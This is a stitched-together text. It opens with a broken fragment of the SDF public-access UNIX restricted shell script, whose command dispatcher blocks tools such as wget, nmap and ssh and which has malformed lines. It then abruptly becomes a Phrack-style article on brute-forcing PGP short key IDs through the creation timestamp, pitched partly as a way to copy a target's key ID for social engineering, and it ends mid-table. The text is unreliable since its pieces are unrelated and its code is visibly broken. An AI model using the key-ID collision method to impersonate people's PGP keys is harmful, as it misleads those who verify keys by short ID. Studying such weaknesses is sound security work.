echo "If you were referred to SDF by a friend or a current SDF member," echo "they may be able to validate your new account for you. You can" echo "usually find SDF egulars in either 'com' or 'irc'. Be sure to ask" echo "them to help you."

echo

echo "(continue)\c"

read continue

echo

echo "Validating your account ensures our future! Please do it today." echo "Remember, you make SDF what it is. Without you, we wouldn't exist." echo

echo " 1) Get a stamped envelope, a sheet of paper and ONE (1) US Dollar." echo " 2) Write '$LOGNAME' clearly in the upper left hand corner of the" echo "envelope."

echo " 3) Fold the donation inside a piece of paper and place inside the" echo "envelope."

echo " OPTIONAL: Send TWO (2) US Dollars & SASE for an SDF Bumper Sticker." echo

echo " 4) Seal and mail to: SDF Public Access UNIX System" echo " Post Office Box 17355"

echo " Seattle WA 98127 USA"

echo

echo "Alternatively you may 'validate' your account via PAYPAL by clicking" echo "on the"

echo "'DONATE' button at the bottom of the http://sdf.org website. The"

echo "paypal"

echo "minimum is \$3. Please include 'Validate $LOGNAME' in the Payment" echo "For field."

echo

#echo "We also accept BitCoin for validation:"

echo "17GQEeNNHYPmkdgzHmHXiyMaVfgrhPvGBQ"

echo "We also accept BitCoin ‑ Please type 'bitcoin' for details." echo

echo "You may also credit the validation fee towards 'arpa' membership" echo "should"

echo "you decide to join 'arpa' within 30 days of validating your account." echo

echo "(continue)\c"

read continue

echo

echo "To see what you get as a validated member, type 'user'" echo "For Lifetime ARPA membership to SDF via paypal, type 'arpa'" echo "To see a list of UNIX commands you can use *NOW*, type 'unix'" echo "To view user contributed tutorials, visit http://sdf.org/?tutorials"

echo "US Military Personnel, please type 'mil'"

echo

}

Menu(){

echo "SDF psh Version 8 ‑ *PREVALIDATED SHELL ACCOUNT*"

echo

echo " what ‑ what can I use this account for?"

echo " unix ‑ a listing of UNIX commands available to you NOW" echo " how ‑ information on increasing membership"

echo " teach ‑ using SDF in a classroom setting"

echo " dialup ‑ information about SDF dialup service"

echo " arpa ‑ about lifetime arpa membership"

echo " bboard ‑ sdf user message boards"

echo " commode ‑ chat with other users online"

echo " ysm ‑ chat on the ICQ network"

echo " bsflite ‑ chat on the AIM network"

echo " msnre ‑ chat on the MSN network"

echo " ttytter ‑ listen to Twitter tweets anonymously"

echo " lynx ‑ browse the WWW textually or access GOPHER"

echo " bksp ‑ set your BACKSPACE key"

echo " faq ‑ frequently asked questions"

echo " software ‑ display software programs installed on the system" echo " quote ‑ get a real time stock quote"

echo " games ‑ a listing of available games"

echo " thxmoo ‑ connect to the THXMOO"

echo " mud ‑ connect to the SDFmud"

#echo " delme ‑ delete your free account"

echo " validate ‑ gain additional shell access (also try 'user' for" echo "details)"

echo

}

Move(){

echo "Basic movement in $1:"

echo

echo "j ‑ down (or rotate)"

echo "k ‑ up (or rotate)"

echo "h ‑ left"

echo "l ‑ right"

echo "q or Q to quit"

echo

echo "[RETURN]\c"

read ret

}

case `uname ‑n` in

ol) /usr/local/bin/maint

kill ‑9 0 ;;

mx) echo

echo "mx is reserved for mail service only."

echo "Please use 'tty.sdf.org' to connect to SDF."

echo

sleep 5

kill ‑9 0 ;;

sverige) echo

echo "sverige is reserved for MetaARPA members only."

echo "Please use 'tty.sdf.org' to connect to SDF."

echo

sleep 5

kill ‑9 0 ;;

vinland) echo

echo "vinland is reserved for VHOST members only."

echo "Please use 'tty.sdf.org' to connect to SDF."

echo

sleep 5

kill ‑9 0 ;;

esac

/usr/pkg/bin/expire

#echo "Would you like to VALIDATE your account now? (y/n) \c" #case `/usr/pkg/bin/getchar` in

# 121|89) echo "YES"

# Validate ; echo "[RETURN]\c";read return;;

# *) echo "NO" ;;

#esac

echo

echo "Please press your BACKSPACE key: \c"

stty raw

dd of=.$$ count=1 1>/dev/null 2>/dev/null

stty ‑raw

stty erase `head ‑1 .$$` 2>/dev/null

rm ‑f .$$

#echo

#echo "Enable Colours: (y/n) \c"

#case `/usr/pkg/bin/getchar` in

# 89|121) COLOR=TRUE

# touch ‑f $HOME/.color ;;

# *) COLOR=FALSE ;;

#esac

clear

echo

echo "======================================

echo "SDF host uptime report for Seattle WA, Dallas TX (USA) and Germany" echo " Please use 'tty.sdf.org' for general access"

echo "======================================

echo

/usr/local/bin/ruptime ‑a

echo "(continue)\c"

read return

/usr/pkg/games/pom

/usr/pkg/bin/phoon

echo "(continue)\c"

read return

/usr/pkg/bin/guestbook ‑l 50

echo "\nType 'help' for Commands."

echo "Type 'com' to chat with other users."

echo "Type 'ttytter' to listen to Twitter Tweets anonymously." echo "Type 'mud' to play the SDFmud."

case `url $LOGNAME` in

*.*.*) echo "\nYour website is http://`url ${LOGNAME}|awk '{print $1}'`"

echo "with files in $HOME/html\n" ;;

*) echo "Type 'mkhomepg' to set up your personal website.\n" esac

case `echo $RANDOM|cut ‑c1` in

1|2|3|4|5) echo "Did you know you can become a permanent LIFETIME member" echo "of SDF"

echo "by making a onetime donation of \$36? Type 'arpa' for more info!\n" \ ;;

6|7|8|9) echo "Did you know you can validate your account and gain weekend" echo "IRC access"

echo "by making a donation of \$1 to \$3? Type 'validate' for more" echo "info!\n" ;;

esac

/usr/pkg/bin/dues ‑p

#Menu

PROMPT="`uname ‑n`"

while true

do

if [ ! ‑d $HOME ]

then echo "You may have become an ARPA member."

echo

echo "The update is now taking place and may require 2 or 3 minutes to" echo "complete. You will now be logged out. When you reconnect, please" echo "use ssh to connect to 'tty.sdf.org' for load balancing." echo

echo "[RETURN]\c"

read return

kill ‑9 0

fi

if [ ‑f $HOME/.mailcap ]

then rm ‑f $HOME/.mailcap

fi

if [ "$COLOR" = "TRUE" ]

OMPT

thene echo "$PROMPT:`pwd`> \c"

fi

read command

arg=`echo ${command}|awk '{print $2,$3,$4,$5,$6}'`

#if [ "$ccount" ‑gt "6" ]

#then echo "\nPlease 'validate' or join 'arpa' today."

# echo "Your membership ensures our future!!\n"

# ccount=0

#else ccount=`expr $ccount + 1`

#fi

echo "[`date +"%d‑%b‑%y %H:%M:%S"` $MYIP $MYTTY $PROMPT] $PWD $command" \ 2>/dev/null >>$HISTORY

case `echo $command|awk '{print $1}'|tr A‑Z a‑z` in

tty) tty;;

stty) stty;;

lock) lock;;

ulimit) ulimit;;

uname*) uname `echo ${command}|awk '{print $2}'` ;;

echo*) shift ${command}

echo "${command}" ;;

how) /usr/local/bin/how;;

cal*) /usr/pkg/bin/cal `echo $command|awk '{print $2}'` ;; what) /usr/local/bin/newbie

;;

passwd*|chfn*|chsh*|maint) /usr/local/bin/passwd ;;

url*) url=`echo $command|awk '{print $2}'`

url $url;;

gopher*) site=`echo $command|awk '{print $2}'`

if [ "$site" = "" ]

then lynx ‑anonymous ‑restrictions=all gopher://sdf.lonestar.org

else lynx ‑anonymous ‑restrictions=all $site

fi

;;

bksp*) bksp=`echo $command|awk '{print $2}'`

if [ "$bksp" = "" ]

then echo "\nTo set your backspace key, type 'bksp' then press your" echo "actual key and then press return.\n"

else stty erase $bksp

echo "BACKSPACE=$bksp" > $HOME/.pshrc

fi;;

bitcoin*) /usr/local/bin/bitcoin ;;

sftp*|ftp*) echo "\nPlease 'validate' your account to FTP files to and" echo "from your SDF account.\n" ;; tar*|make|cc*|tf*|gcc*|g++*|perl*|python*|ruby*|*configure*|netstat*| \ telnet*|ssh*|rlogin*|screen*|nmap*|wget*)

echo "\nTo use this feature, please join the SDF 'arpa' membership" echo "ARPA membership is available to you for a one time donation of only" echo "\$36."

echo

echo "Your membership ensures our future! Type 'arpa' for details.\n" ;;

getdialup*) npa=`echo $command|awk '{print $2}'` /usr/local/bin/getdialup $npa ;;

setdialup) echo "Please validate your account first. For now you can use" echo "'getdialup' to find access numbers in your area." ;; phlog|deskshots|sdfers) echo "Please validate your account first." ;; dialup) /usr/local/bin/dialup ;;

games) /usr/local/bin/games ;;

mud) /usr/pkg/bin/mud ;;

war) /sys/sdf/bin/war ;;

warsetup) /sys/sdf/bin/warsetup ;;

thxmoo) /usr/pkg/bin/thxmoo ;;

bj) /usr/pkg/games/bj;;

lander) /usr/pkg/games/lander;;

othello) /usr/pkg/games/othello;;

advent) /usr/pkg/games/advent;;

zork) /usr/pkg/games/advent;;

tttt) /usr/pkg/games/tttt;;

moon) /usr/pkg/bin/moon‑buggy;;

tetrinet) if [ "$LINES" ‑lt "50" ]

then echo "% tetrinet requires your TTY to be at least 50 lines." sleep 2

fi

tetrinet $LOGNAME tetrinet.sdf.org

;;

tess) /usr/pkg/games/tess;;

c4) /usr/pkg/games/c4;;

ski) /usr/pkg/games/ski;;

knight) /usr/pkg/games/knight;;

suicide) /usr/pkg/games/suicide;;

dinkum) /usr/pkg/games/dinkum;;

aybabtu) /usr/local/bin/aybabtu;;

barnacle) /usr/pkg/bin/barnacle;;

invaders) /usr/pkg/games/invaders

stty sane ;;

life) /usr/pkg/bin/life /usr/pkg/share/life/tiny.life ;; order) echo "Please validate your account first.";;

ysm) /usr/pkg/bin/ysm;;

micq) /usr/pkg/bin/rmicq;;

bsflite) /usr/pkg/bin/bsflite;;

msnre) /usr/pkg/bin/msnre;;

dopewars) dopewars;;

zombies) Move $command

/usr/pkg/bin/zombies;;

snake) Move $command

/usr/pkg/games/snake;;

wanderer) Move $command

/usr/pkg/games/wand;;

worm) Move $command

/usr/pkg/games/worm;;

greed) Move $command

/usr/pkg/games/greed;;

tetris) Move $command

/usr/pkg/games/tetris;;

sokoban) Move $command

/usr/pkg/games/sokoban;;

robots) Move $command

/usr/pkg/games/robots;;

torus) Move $command

/usr/pkg/games/torus;;

mazewar) /usr/local/bin/mazewar;;

mdg) /usr/local/bin/mdg

if [ "$?" != "0" ]

then echo "\nMDG might not be running at the moment"

echo "Please try again later."

fi;;

dict*) args=`echo $command|awk '{print $2}'`

dict $args

;;

quote*) args=`echo $command|awk '{print $2}'`

quote $args

;;

cal*) args=`echo $command|awk '{print $2}'`

cal $args

;;

domains) /usr/local/bin/domains ;;

unix) unix ;;

linux) linux;;

dig*) domain=`echo $command|awk '{print $2" "$3" "$4" "$5" "$6" "$7" "$8}'` dig $domain

;;

host*) domain=`echo $command|awk '{print $2" "$3" "$4" "$5" "$6" "$7" \ "$8}'`

host $domain

;;

geoip*) domain=`echo $command|awk '{print $2}'`

geoip $domain

;;

whois*) domain=`echo $command|awk '{print $2}'`

jwhois $domain

;;

nslookup*) domain=`echo $command|awk '{print $2}'`

nslookup $domain

;;

pkg_info) pkg_info 2>/dev/null|sort|more ;;

lynx*restrict*) echo $command|mailx ‑s "$LOGNAME" smj;;

lynx*) url=`echo $command|awk '{print $2}'`

if [ "$url" = "" ]

then lynx ‑anonymous ‑restrictions=all http://sdf.lonestar.org

else case $url in

http:*) ;;

*) url="http://$url" ;;

esac

lynx ‑anonymous ‑restrictions=all $url

fi

;;

edit*|vi*|pico*|emacs*) file=`echo $command|awk '{print $2}'` if [ "$file" = "" ]

then echo "usage: edit {file}"

else case $file in *../*|*.kshrc*|*.bashrc*|*.pshrc*|*.muttrc*|*.telnet*|*.mailcap*|*. \

forward*|*.plan*|*.cfg*|*.history*) echo "usage: edit {file}";; *) /usr/pkg/bin/pico ‑t ‑b ‑o $HOME $PWD/$file ;;

esac

fi

;;

man*) man `echo $command|awk '{print $2}'`;;

rm*) target=`echo $command|awk '{print $2}'`

if [ "`echo $command|awk '{print $3}'`" != "" ] || [ "$target" = "" ] then echo "usage: rm {filename}"

else case $target in

*.history*|*psh*|*.hushlogin*) echo "Can't remove $target";; *) if [ ‑d $target ]

then rm ‑rf $target

else rm $target

fi;;

esac

fi;;

mv*) oldname=`echo $command|awk '{print $2}'`

newname=`echo $command|awk '{print $3}'`

if [ "`echo $command|awk '{print $4}'`" != "" ] || [ "$oldname" = "" ] || \ [ "$newname" = "" ]

then echo "usage: mv {oldfile} {newfile}"

else case $oldname$newname in *.muttc*|*.kshrc*|*.mailcap*|*.telnet*|*.plan*|*html*|*.forward*|*. \ history*|*psh*|*.hushlogin*|*.cfg*) echo "Cant move $oldname to $newname";; *) mv $oldname $newname ;;

esac

fi;;

ping*) /sbin/ping ‑c5 `echo $command|awk '{print $2}'`;; teach) cat ~ftp/pub/sdf/faq/TEACH/01;;

traceroute*) traceroute `echo $command|awk '{print $2}'` & ;; games) games;;

disk) disk;;

df*) df `echo $command|awk '{print $2}'` ;;

oneliner) /usr/pkg/bin/oneliner;;

rogue) /usr/pkg/games/rogue ;;

hack) /usr/pkg/games/hack ;;

nethack) /usr/pkg/bin/nethack ;;

hunt*) echo

echo "hunt commands:"

echo

echo "j ‑ down"

echo "k ‑ up"

echo "h ‑ right"

echo "l ‑ right"

echo "1 ‑ gun"

echo "2 ‑ grenade"

echo "3 ‑ bomb"

echo "q ‑ quit"

echo

echo "the shift key plus j,k,h or l changes direction"

echo

/usr/pkg/games/hunt `echo $command|awk '{print $2}'`;;

upload) echo "press CTRL‑X several times to abort."

lrz ‑y;;

mkdir) directory=`echo $command|awk '{print $2}'`

case $directory in

*html*|*.plan*) echo "usage: mkdir {name}";;

*) mkdir $directory;;

esac;;

#mkhomepg*|mkhome*) mkhomepg `echo $command|awk '{print $2}'`;; mkhomepg*|mkhome*) echo "mkhomepg has been temporarily disabled for" echo "prevalidated users." ;;

vhost) echo

echo " As a lifetime ARPA member, you can increase your membership level" echo " so that you may virtually host your own domain name on SDF. This" echo " includes DNS, mail service and virtual webhosting. For more info" echo " check out the FAQ: file"

echo ;;

help) Menu;;

profiles) /usr/pkg/bin/profiles ;;

#freeirc) echo "% 'freeirc' is available to ALL validated users from" echo "Friday 23:59:59"

# echo " through Monday 00:00:01 UTC. Please 'validate' your account" # echo "today!" ;;

user) echo "\nValidated users (\$1.00 or more) have immediate access to:\n" echo " 200mb total (home, web, mail & gopher)"

echo " incoming file transfers via ftp or sftp"

echo " elm, pine, mutt, mailx, rmail, pop3, gopher"

echo " bash, ash, ksh, tcsh, rc, zsh, tclsh"

echo " your URL http://$LOGNAME.freeshell.org"

echo " limited cgi execution (shell scripts)"

echo " icq, aim, talk, commode, bboard"

echo " dialup ppp/shell access in the US and Canada"

echo " USENET and ClariNET read/post access"

echo " freeirc on Saturdays and Sundays"

echo " hundreds of UNIX utilities"

echo

echo "The purpose of the prevalidated account is to help newusers" echo "learn about the UNIX system. Type 'unix' to see what UNIX" echo "commands are available to you right now. You can validate" echo "your account today! type 'validate' to validate\n";; env) env;;

set) set;;

#delme) delme;;

bboard) /usr/pkg/bin/bboard;;

eggdrop*) echo "% eggdrop is available to MetaARPA members only" ;; psybnc*) echo "% psybnc is available to MetaARPA members only" ;; arpa|join|member) arpa;;

auction) auction;;

cat*|more*|less*) file=`echo $command|awk '{print $2}'`

case $file in

*psh*) file="" ;;

*random*|*null*|*zero*) echo "% Ja tvoi sluga ja tvoi rabotnik";file="" ;; esac

if [ "$file" = "" ]

then echo "usage: cat {filename}"

else if [ "`wc ‑l $file|awk '{print $1}'`" ‑ge "500" ]

then tail ‑500 $file

else cat $file

fi

fi;;

software*) /usr/local/bin/software `echo $command|awk '{print $2}'` ;; cd*) cd `echo $command|awk '{print $2}'`;;

finger*) user=`echo $command|awk '{print $2}'`

case ${user} in

*‑*) user=root ;;

esac

size=`ruptime ‑a|awk 'END {print $1}'`

if [ "$user" = "" ]

then echo "You are on `uname ‑n` among $size users. ('validate' to see" echo "usernames)"

else finger ‑m $user

fi ;;

date) date ;;

whereis*) whereis `echo $command|awk '{print $2}'`;;

locate*) locate `echo $command|awk '{print $2}'` ;;

whoami*) /usr/bin/whoami ;;

who|w|ps*|last*)

size=`ruptime ‑a|awk 'END {print $1}'`

echo "You are on `uname ‑n` among $size users. ('validate' to see" echo "usernames)" ;;

uptime|ruptime*) ruptime ‑a;;

chmod*) chmod `echo $command|awk '{print $2" "$3}'` ;; ls*|ll*|dir*) if [ "$COLOR" = "TRUE" ]

then /usr/pkg/bin/colorls ‑a `echo $command|awk '{print $2}'|tr R r` else ls ‑a `echo $command|awk '{print $2}'|tr R r`

fi ;;

sl*) /usr/pkg/bin/sl ;;

pwd) pwd;;

msg) msg ;;

# ps*) ps `echo $command|awk '{print $2}'` ;;

validate) Validate ;;

mil) /usr/local/bin/mil ;;

why) echo

echo "It didn't used to be this way .. but you must understand that your" echo "small token of trust builds a better SDF for all of us:" echo

echo "Due to the increased number of security and spam attacks, we are now" echo "asking that you send ONE US Dollar (or 5 EURO note) as a token of" echo "your sincerity in becoming a longterm member of our community. It is" echo "unfortunate that the net has become filled with people whose daily" echo "goal in life is to terriorize others online. We believe that asking" echo "for ONE US Dollar would not present a burden"

echo "to anyone in the world. We hope to keep SDF a safe and secure haven" echo "for you and other shell users. To get an SDF bumper sticker, send in" echo "TWO US Dollars and a SASE (Self‑Addressed Stamped Envelope). Please" echo "include your username."

echo

echo " SDF public access UNIX system"

echo " Post Office Box 17355"

echo " Seattle WA 98127 USA"

echo;;

w*) size=`ruptime ‑a|awk 'END {print $1}'`

echo "You are on `uname ‑n` among $size users. ('validate' to see" echo "usernames)" ;;

alpine*|pine*|mail*|mutt*|elm*) case `echo $command|awk '{print $2}'` in ‑*) echo "unknown mail flag." ;;

*) mutt ‑F /sys/pkg/etc/rmuttrc ;;

esac;;

*irc*|bitchx*|irssi*|epic*|freeirc*)

#tetrinet $LOGNAME tetrinet.sdf.org ;;

echo "‑=‑ Basic IRC Commands ‑=‑"

echo

echo "/list ‑ List channels"

echo "/join #channel ‑ Join a channel"

echo "/list #channel ‑ Leave a channel"

echo "/msg nick msg ‑ Send a private message"

echo "/who ‑ Who is on"

echo "/quit ‑ Quit IRC"

echo

echo "‑(continue)‑\c"

read ret

/usr/pkg/bin/oirc ‑p 7000 ${LOGNAME} irc.sdf.org #/usr/pkg/bin/oirc ‑p 6667 ${LOGNAME} irc.sdf.org

echo ;;

com|chat|commode) \

room=`/usr/pkg/bin/comwho|head ‑3|tail ‑1|awk '{print $1}'` echo "ROOMNAME=$room" > $HOME/.comrc

/usr/pkg/bin/com ;;

pcom|pcommode) room=`/usr/pkg/bin/pcomwho|head ‑3|tail ‑1|awk '{print $1}'` echo "ROOMNAME=$room" > $HOME/.comrc

/usr/pkg/bin/pcom ;;

ttytter*|twitter*) echo "% Twitter username (or [RETURN] for anonymous):\c" read tweet

if [ "$tweet" = "" ]

then echo "% Logging in anonymously"

/usr/local/bin/ttytter ‑anonymous

else /usr/local/bin/ttytter ‑user=$tweet

fi ;;

w2k) /usr/local/bin/w2k ;;

mkgopher) mkgopher;;

faq) faq;;

clear) clear;;

usenet|trn*|tin*|slrn*|nn*|rn*) echo "% USENET is available to validated" echo "users." ;;

die) echo "you has failed."

sleep 4

exit 0 ;; logout|leave|bye|quit|exit|escape|terminate|cease|logoff|end) clear

#echo "Would you like to remove your account from our system? (y/n) \c" #read ans

# case $ans in

# y*|Y*) delme ;;

# *) echo "% '$LOGNAME' will not be deleted." ;;

# esac

echo "Good Bye from the S D F ‑ 1 .."

echo

echo "Please 'validate' or join 'arpa' soon."

echo "Your support is appreciated!"

echo

echo "Thank you!"

sleep 8

exit 0;;

uinfo|expire) uinfo;expire ;;

dues) /usr/pkg/bin/dues ${arg} ;;

#helpdesk) /usr/pkg/bin/helpdesk ;;

guestbook) /usr/pkg/bin/guestbook ;;

id*) /usr/bin/id ${arg} ;;

nospam) echo "You must be validated to use this feature."

;;

*) if [ "$command" != "" ]

then echo "psh: $command: not found ‑ try 'help' for commands" else if [ "$count" ‑gt "20" ]

then exit 0

else count=`expr $count + 1`

fi

fi;;

esac

doneecho "

|=[ 0x04 ]=‑‑‑=[ Personalized PGP Key IDs ‑ f1los0tt1l3 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑=[ Personalized PGP Key IDs for fun and profit ]=‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ f1los0tt1l3 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ Contents

1 ‑ Introduction

1.1 ‑ Prior work

2 ‑ The spec

3 ‑ The attack

3.1 ‑ Preparation

3.2 ‑ The crash

3.2.1 ‑ Runtime stats

3.3 ‑ The patch

4 ‑ Conclusion

5 ‑ References

6 ‑ Code

‑‑‑[ 1 ‑ Introduction

Everybody should be allowed to have his (or someone's) own PGP key ID. Who doesn't want his PGP key to match his favorite hex nickname or his target's key for some cheap social engineering? I certainly want, so I started researching how they are derived and if they could be bruteforced.

Note: when we speak about key IDs here we mean the 4‑byte short ones that everybody love to use. However, given enough processing power (or maybe a SHA1 ASIC|preimage attack) the process can obviously scale to any key ID length.

‑‑‑‑‑[ 1.1 ‑ Prior work

GIYF, right? Well, a couple people tried this and lived to tell the tale (or, well, decided to make it public) but none of them permitted me to get a 4096 bit RSA key as I wanted it.

In May 2010, halfdog posted on full‑disclosure [1] some Java code that worked on DSA keys. Not exactly fast or customizable, but hey, it was 3 years ago.

Then, in Dec 2011, Asheesh, a Debian dev particularly fond of his key ID, found a way to create a new RSA 4096 key with that ID (and a bug in GnuPG handling of duplicate keys) [2]. He highlighted the disruptive potential of that and decided not to release the code. Bummer.

But the keyservers carry even older evidence (even if one shouldn't trust the key creation field, especially on these keys): the first example of custom IDs I could find is

pub 1024R/A69AB99CDEADBEEF 1995‑09‑28

that actually employs a old packet type.

So we are not doing anything truly new, but there's still not a public method to get an arbitrary key with an arbitrary key ID.

‑‑‑[ 2 ‑ The spec

So, let's get our hands dirty: grab the OpenPGP spec, RFC 4880 [3], and look up how are those key IDs derived [RFC 4880 ‑ 12.2].

‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ RFC 4880 ‑ 12.2. Key IDs and Fingerprints ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

For a V3 key, the eight‑octet Key ID consists of the low 64 bits of the public modulus of the RSA key.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Woah, that easy? No, it's not. Version 3 keys are deprecated [RFC 4880 5.5.2], for a bad reason ‑ key IDs collisions, ahem ‑ and a good reason MD5. So, as we don't want to build our new shiny RSA 4098 on MD5, let's move on to V4 keys.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ RFC 4880 ‑ 12.2. Key IDs and Fingerprints ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A V4 fingerprint is the 160‑bit SHA‑1 hash of the octet 0x99, followed by the two‑octet packet length, followed by the entire Public‑Key packet starting with the version field. The Key ID is the low‑order 64 bits of the fingerprint.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Great, so what's in a Public‑Key packet?

‑‑‑‑‑‑‑‑‑‑‑‑‑[ RFC 4880 ‑ 5.5.2. Public‑Key Packet Formats ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A version 4 packet contains:

‑ A one‑octet version number (4).

‑ A four‑octet number denoting the time that the key was created.

‑ A one‑octet number denoting the public‑key algorithm of this key.

‑ A series of multiprecision integers comprising the key material.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Note: numbers are big‑endian [RFC 4880 ‑ 3.1]

So the variable parts are the creation timestamp and the key material. The key material is a bunch of algorithm‑specific MPI [RFC 4880 ‑ 3.2] which can't be tampered with without changing their value.

One might also try to add garbage to the packet, but implementations strip it. Bummer.

‑‑‑[ 3 ‑ The attack

Great, we know what constitutes the key ID, and we know that we can tamper with the key creation value and/or with the RSA/DSA/Elgamal parameters. I decided to only loop through the key creation field for a simple reason: I don't trust a crappy tool written by me with RSA primes selection, in particular in a scenario like this where a lot of different primes are needed, as skews can lead to disastrous consequences [4].

After all entropy usage couldn't be optimized much and at least this way we have the peace of mind of GnuPG generated keys.

So we will simply build a bruteforce on the key creation timestamp value.

‑‑‑‑‑[ 3.1 ‑ Preparation

Ok, let's dive in. First of all fence your GnuPG env, to avoid cluttering or damaging your own.

$ mkdir ‑m 700 GNUPGHOME && export GNUPGHOME=`pwd`/GNUPGHOME

Now we need to generate a pool of enough keys to have a fair chance of finding a match, but how many? Well, obviously it depends on the number of seconds in the time frame we consider acceptable for the key creation time.

Let's dive into some math. Since SHA1 is unbiased each try is independent and for each try we have a fixed probability of finding a match: one into the number of different possible suffixes = 1 / 2^32.

So, the only thing that matters is how many tries we can do. This number is s (seconds in the time frame) * x (number of keys in the pool).

The probability of finding a match in k tries is 1 less the probability of failing all of them [5] and this last is (prob of failing one) ^ k = ((2^32 ‑ 1) / 2^32) ^ k.

Here are the final formula and a handy table:

2^32 ‑ 1 s * x s = seconds in the time frame

y = 1 ‑ ( ‑‑‑‑‑‑‑‑ ) x = number of keys in the pool

2^32 y = probability of a success

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑

| frame \ prob | 0.50 | 0.75 | 0.90 | 0.95 | 0.99 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑

| past | 3 | 5 | 8 | 10 | 15 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑

| 5y | 19 | 38 | 63 | 82 | 126 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑

| 1y | 95 | 189 | 314 | 408 | 628 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑

For a fancy 3D graph you can plot the probability on a (years in the time frame X keys in the keypool) space [6]:

y = 1 ‑ ((2 ^ 32 ‑ 1) / 2 ^ 32) ^ (60 * 60 * 24 * 365 * a * x)

GnuPG has a convenient function to generate keys in batch mode:

$ gpg ‑‑no‑default‑keyring ‑‑secret‑keyring ./secpool.gpg \ ‑‑keyring ./pubpool.gpg ‑‑trustdb‑name ./trustpool.gpg \ ‑‑gen‑key ‑‑batch batchfile.txt

# batchfile.txt

Key‑Type: RSA

Key‑Length: 4096

Name‑Real: Filippo Valsorda

Name‑Comment: f1los0tt1l3

Name‑Email: f1los0tt1l3@phrack.com

Expire‑Date: 0

Note: it does not matter what you set in the Name‑* fields, as we are going to discard the uid to create a validly signed one later.

Set it to run the number of times you want, maybe plug in haveged [7], a Geiger or a radio producing white noise and... uh, go grab a coffee.

‑‑‑‑‑[ 3.2 ‑ The crash

Well, now we have our keypool and we need to bruteforce the key ID out of it. I wrote a Python 3 + Cython parallelizable implementation, crash.py.

Compile the Cython module with (you'll need Cython and OpenMP):

$ python3 setup.py build_ext ‑‑inplace

Note: clang and old gcc versions panicked, I used gcc 4.7.

Then start the bruteforce with

$ python3 crash.py pubpool.gpg NEWKEYID [0xTIMESTAMP]

where 0xTIMESTAMP is the lowest limit to the creation time, if any.

Want to know something cool? The only thing needed to do the bruteforce is the pubpool, so you can export it out of your crappy airgapped system and perform the number crushing on some powerful untrusted machine.

You will hopefully get a result like this

Current fingerprint: 9b179a2af2f8a744b2214de4eec578f57e61d52a Current timestamp: 0x512187c9

NEW fingerprint: d8efd70f8479432e9158ac27eb56af7c42424242 RESULT timestamp: 0x1b550652

‑‑‑‑‑‑[ 3.2.1 ‑ Runtime stats

The bulk of the heavy‑lifting involved in this bruteforce is making the SHA1 hashes, and one of them is done for each timestamp tried. The number of tries is clearly independent of the width of the time frame, and grows with the probability of finding a match. The two ‑ probability and tries are bound by a simplified version of the formula above.

2^32 ‑ 1 x

y = 1 ‑ ( ‑‑‑‑‑‑‑‑ ) x = tries / SHA1 hashes

2^32 y = probability of a success

So what matters here is what SHA1 hashrate we manage to get. The crash.py Cython implementation is quite fast, and achieves 3.0 * 10^6 h/s on a quad‑core 2.3 GHz i7 or 8.3 * 10^6 h/s on a AWS EC2 cc2.8xlarge instance.

Note: this means that a matching key would cost you $0.50 of Spot Instance as of April 2013.

However, much better can be done: the oclHashcat‑plus guys claim a 3.081 * 10^9 SHA1/s on a AMD hd6990 GPU [8]. With an hashrate like that, a match can be found in a matter of seconds. Writing a high‑performance CUDA or OpenGL implementation is left as an exercise to the reader ;)

Here is a reference table of running times:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑

| probability | 0.50 | 0.75 | 0.90 | 0.95 | 0.99 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑

| tries / 10^9 | 2.9 | 5.9 | 9.8 | 12.8 | 19.7 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑

| runtime on i7 | 17m | 33m | 55m | 71m | 110m |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑

